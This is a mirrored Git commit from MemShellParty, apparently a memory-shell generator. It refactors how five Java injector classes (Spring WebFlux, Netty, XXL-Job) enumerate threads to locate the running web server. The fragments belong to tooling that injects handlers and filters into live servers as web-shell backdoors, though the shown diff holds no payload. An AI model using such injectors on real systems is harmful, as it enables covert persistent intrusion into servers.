mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
style: unify fetch threads
This commit is contained in:
+2
-1
@@ -10,6 +10,7 @@ import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -45,7 +46,7 @@ public class SpringWebFluxHandlerFunctionInjector {
|
||||
}
|
||||
|
||||
public Object getWebHandler() throws Exception {
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getClass().getName().contains("NettyWebServer")) {
|
||||
Object nettyWebServer = getFieldValue(thread, "this$0");
|
||||
|
||||
+2
-1
@@ -13,6 +13,7 @@ import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Collection;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -48,7 +49,7 @@ public class SpringWebFluxHandlerMethodInjector {
|
||||
}
|
||||
|
||||
public Object getWebHandler() throws Exception {
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getClass().getName().contains("NettyWebServer")) {
|
||||
Object nettyWebServer = getFieldValue(thread, "this$0");
|
||||
|
||||
+3
-5
@@ -12,6 +12,7 @@ import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.SocketAddress;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -45,11 +46,8 @@ public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigu
|
||||
private Class<?> handlerClass;
|
||||
|
||||
public Object getNettyServer() throws Exception {
|
||||
ThreadGroup group = Thread.currentThread().getThreadGroup();
|
||||
Field threads = group.getClass().getDeclaredField("threads");
|
||||
threads.setAccessible(true);
|
||||
Thread[] allThreads = (Thread[]) threads.get(group);
|
||||
for (Thread thread : allThreads) {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getClass().getName().contains("NettyWebServer")) {
|
||||
return thread;
|
||||
}
|
||||
|
||||
+2
-3
@@ -12,6 +12,7 @@ import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -47,9 +48,7 @@ public class SpringWebFluxWebFilterInjector {
|
||||
}
|
||||
|
||||
public FilteringWebHandler getWebHandler() throws Exception {
|
||||
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
|
||||
getThreads.setAccessible(true);
|
||||
Thread[] threads = (Thread[]) getThreads.invoke(null);
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getClass().getName().contains("NettyWebServer")) {
|
||||
Object nettyWebServer = getFieldValue(thread, "this$0");
|
||||
|
||||
+3
-5
@@ -15,6 +15,7 @@ import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.Set;
|
||||
import java.util.concurrent.LinkedBlockingQueue;
|
||||
import java.util.concurrent.ThreadPoolExecutor;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
@@ -81,11 +82,8 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
||||
}
|
||||
|
||||
public void inject() throws Exception {
|
||||
ThreadGroup group = Thread.currentThread().getThreadGroup();
|
||||
Field threads = group.getClass().getDeclaredField("threads");
|
||||
threads.setAccessible(true);
|
||||
Thread[] allThreads = (Thread[]) threads.get(group);
|
||||
for (Thread thread : allThreads) {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
|
||||
Object target;
|
||||
|
||||
|
||||
Reference in New Issue
Block a user